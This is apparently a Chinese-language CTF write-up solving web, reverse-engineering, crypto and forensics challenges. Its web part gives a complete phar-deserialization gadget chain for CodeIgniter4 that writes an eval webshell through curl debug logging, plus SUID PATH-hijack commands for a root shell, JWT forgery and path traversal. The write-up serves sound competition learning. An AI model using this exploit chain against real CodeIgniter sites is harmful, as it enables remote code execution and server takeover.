Contents
web
ImageCheck
题目是一个codeigniter4
的框架,既然是一个MVC框架,因此我们首先先看upload
和check
的controller

对文件进行过滤,并且要求文件后缀是图片后缀,当满足条件之后会进行
check
,我们再来看check
对应的controller

很明显的一个利用
phar
反序列化的考点,因为getimagesize
该函数可以触发phar
反序列化,有了入口点之后我们需要做的就是找一条gadget chains
在这里网上已有的反序列化链子是存在的,可以结合Rogue-mysql
进行任意文件读取和SQL注入,但是CI框架只允许运行在PHP7.2及往上版本,而MySQL恶意服务器文件读取漏洞只能运行在PHP<7.3版本,所以本次漏洞挖掘只可以运行在刚刚好的PHP7.2.x
而给出的CI需要运行在PHP 7.3以上的环境,因此这条链子是行不通的,但是爆出来的也只有这一条链子,因此可能需要我们挖掘额外的链子,但是实际上我们是可以借鉴这条链子的,全局搜索__destruct
方法:

这里要么寻找__call()
方法要么来找其他类的close()
方法,这里我们借鉴phpggc
给出的链子,来看MemcachedHanler
的close()
方法:
public function close(): bool
{
if (isset($this->memcached))
{
isset($this->lockKey) && $this->memcached->delete($this->lockKey);
if (! $this->memcached->quit())
{
return false;
}
$this->memcached = null;
return true;
}
return false;
}
这里又可以调用其他类的delete
方法,并且传递的一个参数是可控的,因此继续跟进全局搜索其他类的delete
方法,跟进了很多类中的delete
方法,最终找到了CURLRequest
类:

在这里
url
参数是可控的,猜想这里是能够进行触发curl
,不妨先跟进看下:
调用了
send
方法,继续跟进该方法:
public function send(string $method, string $url)
{
// Reset our curl options so we're on a fresh slate.
$curlOptions = [];
if (! empty($this->config['query']) && is_array($this->config['query']))
{
// This is likely too naive a solution.
// Should look into handling when $url already
// has query vars on it.
$url .= '?' . http_build_query($this->config['query']);
unset($this->config['query']);
}
$curlOptions[CURLOPT_URL] = $url;
$curlOptions[CURLOPT_RETURNTRANSFER] = true;
$curlOptions[CURLOPT_HEADER] = true;
$curlOptions[CURLOPT_FRESH_CONNECT] = true;
// Disable @file uploads in post data.
$curlOptions[CURLOPT_SAFE_UPLOAD] = true;
$curlOptions = $this->setCURLOptions($curlOptions, $this->config);
$curlOptions = $this->applyMethod($method, $curlOptions);
$curlOptions = $this->applyRequestHeaders($curlOptions);
// Do we need to delay this request?
if ($this->delay > 0)
{
sleep($this->delay); // @phpstan-ignore-line
}
$output = $this->sendRequest($curlOptions);
// Set the string we want to break our response from
$breakString = "\r\n\r\n";
if (strpos($output, 'HTTP/1.1 100 Continue') === 0)
{
$output = substr($output, strpos($output, $breakString) + 4);
}
// If request and response have Digest
if (isset($this->config['auth'][2]) && $this->config['auth'][2] === 'digest' && strpos($output, 'WWW-Authenticate: Digest') !== false)
{
$output = substr($output, strpos($output, $breakString) + 4);
}
// Split out our headers and body
$break = strpos($output, $breakString);
if ($break !== false)
{
// Our headers
$headers = explode("\n", substr($output, 0, $break));
$this->setResponseHeaders($headers);
// Our body
$body = substr($output, $break + 4);
$this->response->setBody($body);
}
else
{
$this->response->setBody($output);
}
return $this->response;
}
证实了猜测,确实可以触发curl并且url是可控的,但是即使是能够curl,由于是phar
反序列化触发的也不会有回显,那如何通过curl的方式来RCE呢?
这里实际上是比较巧妙的使用了PHP Curl
中的debug
举个例子:
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'www.baidu.com');
curl_setopt($ch, CURLOPT_VERBOSE, true); // curl debug
curl_setopt($ch, CURLOPT_STDERR, fopen('/tmp/curl_debug.log', 'w+')); // curl debug
curl_exec($ch);
curl_close($ch);
这里的关键是CURLOPT_VERBOSE
设置为true
,代表开启debug状态后这样就可以将debug
内容写入/tmp/curl_debug.log
文件, 其中CURLOPT_VERBOSE, CURLOPT_STDERR
是curl dubug
的关键项。
本地测下:
<?php
$url = "https://crisprx.top";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_VERBOSE, true); // curl debug
curl_setopt($ch, CURLOPT_STDERR, fopen('ccccrispr.txt', 'w+')); // curl debug
curl_exec($ch);
curl_close($ch);
成功写入文件:

这给了我们一定的启发,如果我们在CURLRequest
类中也能够控制开启debug,并且控制debug的路径,那我们通过可控的url是不是就能写入任意内容了呢?
答案是肯定的,可以看到:

在该类中存在
$config
配置curl
,并且默认是false
,返回到send
方法:
这里调用
$this->setCURLOptions
传递了$config
配置,跟进该方法:
...
// Debug
if ($config['debug'])
{
$curlOptions[CURLOPT_VERBOSE] = 1;
$curlOptions[CURLOPT_STDERR] = is_string($config['debug']) ? fopen($config['debug'], 'a+') : fopen('php://stderr', 'w');
}
...
这里开启了刚才curl debug最关键的两个字段:CURLOPT_VERBOSE&CURLOPT_STDERR
,并且这里的$config['debug']
是我们可控的,这样我们可以控制它为/var/www/html/uploads/shell.php
,这样就可以写入shell了
因此EXP就很好写了:
<?php
namespace CodeIgniter\Cache\Handlers{
class RedisHandler{
protected $redis;
public function __construct($redis)
{
$this->redis = $redis;
}
}
}
namespace CodeIgniter\Session\Handlers{
class MemcachedHandler{
protected $memcached;
protected $lockKey;
public function __construct($memcached)
{
$this->lockKey = "http://xxx:3333/?<?=eval(\$_POST[1])?>";
$this->memcached = $memcached;
}
}
}
namespace CodeIgniter\HTTP{
class CURLRequest{
protected $config = [];
public function __construct()
{
$this->config = [
'timeout' => 0.0,
'connect_timeout' => 150,
'debug' => '/var/www/html/public/uploads/shell.php',
'verify' => false,
];
}
}
}
namespace{
$code = new \CodeIgniter\HTTP\CURLRequest();
$memcached = new \CodeIgniter\Session\Handlers\MemcachedHandler($code);
$redis = new \CodeIgniter\Cache\Handlers\RedisHandler($memcached);
$a = $redis;
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$phar->setMetadata($a); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
}
?>
最后只需要将生成的phar包进行gzip
或者bzip2
压缩后修改后缀为jpg上传后再通过phar触发反序列化写入shell
getshell后发现还需要提权,存在一个readflag文件属性是SUID:

其实是一个很经典的环境变量PATH提权,以前在vulnhub的Bytesec
这个虚拟机里出现过该考点
该环境变量提权的思路就是:
重新设置环境变量在/tmp目录下,则我们在使用/usr/bin/ls时使用的系统命令会定位到/tmp路径下的ls可执行程序,而内容已被我们篡改,因为ls是SUID权限,即运行时有root权限,所以我们借这个SUID位执行我们设置的ls,即我们以root身份打开了一个/bin/sh,成功提权。
因此可以构造如下:
cd /tmp #只有/tmp目录下可写
echo "/bin/sh" > ls #将/bin/sh写入ls
chmod +x ls #赋予可执行权限给netstat
echo $PATH #查看当前环境变量
export PATH=/tmp:$PATH
最后提权root
web2
这题入口只能说是个脑洞题。。那么久没给hint不知道咋想的,给hint之后能读jwt的secret_key
,结合之前扫目录发现的register
路由可以根据POST的username
来生成对应的token,拿到secret_key
便能够伪造admin身份了:

伪造完之后发现可以读取源码:

知道还有个addAdmin
路由,这里可以用该路由将自己注册的用户来addAdmin
之后便可以登录访问/admin
路由不然一直卡死,比赛的时候非常迷,总之动不动就会卡死,然后还要一堆涉及到SQL的操作,但其实利用的主要就是getfile
路由,因为filename
可控且没有过滤,因此直接可以进行路径穿越读取/etc/passwd
成功后继续读取/proc/self/environ
发现根目录貌似是在root
然后就顺着直接读flag了:

Re
abc
直接脚本去花指令
import idaapi
import idc
import ida_bytes
start=0x400672
ptr=start
while ptr<0x401518:
line=idc.generate_disasm_line(ptr,0)
if "add rsp, 8" in line:
t=idc.generate_disasm_line(idc.next_head(ptr),0)
if "jmp [rsp-8+var_s0]" in t:
ida_bytes.patch_bytes(ptr,b'\xc3'+b'\x90'*7)
if "push rbp" in line:
t=idc.generate_disasm_line(idc.next_head(ptr),0)
if "mov rbp, rsp" in t:
t=idc.generate_disasm_line(idc.next_head(idc.next_head(ptr)),0)
if "leave" in t:
t=idc.generate_disasm_line(idc.next_head(idc.next_head(idc.next_head(ptr))),0)
if "retn" in t:
ida_bytes.patch_bytes(ptr,b'\x90'*6)
if "call $+5" in line:
t=idc.generate_disasm_line(idc.next_head(ptr),0)
if "add" in t and "rsp" in t and "0Ch" in t and '[' in t and ']' in t:
t=idc.print_insn_mnem(idc.next_head(idc.next_head(ptr)))
if "jmp"==t:
t=idc.generate_disasm_line(idc.next_head(idc.next_head(idc.next_head(ptr))),0)
if "leave" in t:
t=idc.generate_disasm_line(idc.next_head(idc.next_head(idc.next_head(idc.next_head(ptr)))),0)
if "ret" in t:
ida_bytes.patch_bytes(ptr,b'\x90'*10+b'\xe8')
ida_bytes.patch_bytes(ptr+15,b'\x90'*2)
if idc.print_insn_mnem(ptr)=="call":
sub=idc.print_operand(ptr,0)
addr=int('0x'+sub[4:],16)
if ida_bytes.get_bytes(addr,6)==b'\x90'*6:
ida_bytes.patch_bytes(ptr,b'\x90'*5)
#target=ida_bytes.get_bytes()
ptr=idc.next_head(ptr)
然后就能ida的f5了

不难发现就是一个数字华容道,稍微手算一下得到解,拿去nc得到flag


Crypto
crack point
加密的私钥比较小只有40bit
直接用BSGS求解ECDLP得到key
然后正常解ecc
p = 199577891335523667447918233627928226021
E = EllipticCurve(GF(p), [1, 0, 0, 6745936378050226004298256621352165803, 27906538695990793423441372910027591553])
G = E.gen(0)
public = E(26333907222366222187416360421790100900, 15685215723385060577747689361308893836, 1)
point_1 = E(53570576204982581657469369029969950113, 25369349510945575560344119361348972982, 1)
cipher = E(154197284061586737858758103708592634427, 79569265701802598850923391009373339175, 1)
d = 2 ^ 20
y = G
baby = {}
baby_start = G
for i in range(1, d):
baby[baby_start] = i
baby_start = baby_start + y
y_d = -d * y
gian_start = point_1
for i in range(d):
if gian_start in baby:
r, s = i, baby[gian_start]
break
gian_start = gian_start + y_d
key = r * d + s
print(key)
assert key * G == point_1
flag = cipher - key * public
print('flag{' + str(flag[0]+flag[1]) + '}')
Misc
溯源取证——张三的电脑
winhex看一下,可以看出附件是vmdk
用winimage把vmdk转换为vhd,挂载上,又找到一个磁盘镜像
把磁盘镜像放进diskgenius里进行数据恢复,在回收站目录里能找到一个png
png上就是flag
ssh_traffic
在最后一个 tcp 流找到 json 格式的密钥等信息,保存为 1.json
{"pid": 4603, "proc_name": "sshd", "sshenc_addr": 94564229959488, "cipher_name": "chacha20-poly1305@openssh.com", "key": "f9a61066dce2afd6afdd84f20f7aadbecbc86a6ed3997363c375f4c33eb10129fec3c88d2503e7042a74d2144178571bf2c9402a547bae34ab95e88f4fd75ffe", "iv": "", "sshenc": {"name": 94564229888720, "cipher": 94564228255120, "enabled": 0, "key_len": 64, "iv_len": 0, "block_size": 8, "key": 94564229878880, "iv": 94564229883472}, "network_connections": [{"family": 2, "fd": 4, "laddr": ["192.168.178.131", 22], "raddr": ["192.168.178.129", 50192], "status": "ESTABLISHED", "type": 1}]}
{"pid": 4603, "proc_name": "sshd", "sshenc_addr": 94564230061040, "cipher_name": "chacha20-poly1305@openssh.com", "key": "ce4e4e033a15a65a0c5f40e71be11c4ceca75a76608d47f121add9f5447c8d2d494863c7a105c924e479f1719884732fd31aaa5b4892ec4b07bcae91d7b826ea", "iv": "", "sshenc": {"name": 94564229888672, "cipher": 94564228255120, "enabled": 0, "key_len": 64, "iv_len": 0, "block_size": 8, "key": 94564229873184, "iv": 94564230023680}, "network_connections": [{"family": 2, "fd": 4, "laddr": ["192.168.178.131", 22], "raddr": ["192.168.178.129", 50192], "status": "ESTABLISHED", "type": 1}]}
使用工具 https://github.com/fox-it/OpenSSH-Network-Parser 来解密 ssh 流量
安装好之后使用命令:
network-parser -p traffic.pcapng --proto=ssh --popt keyfile=1.json -o . -s > 1.txt 2>&1
打开 1.txt 看得到 flag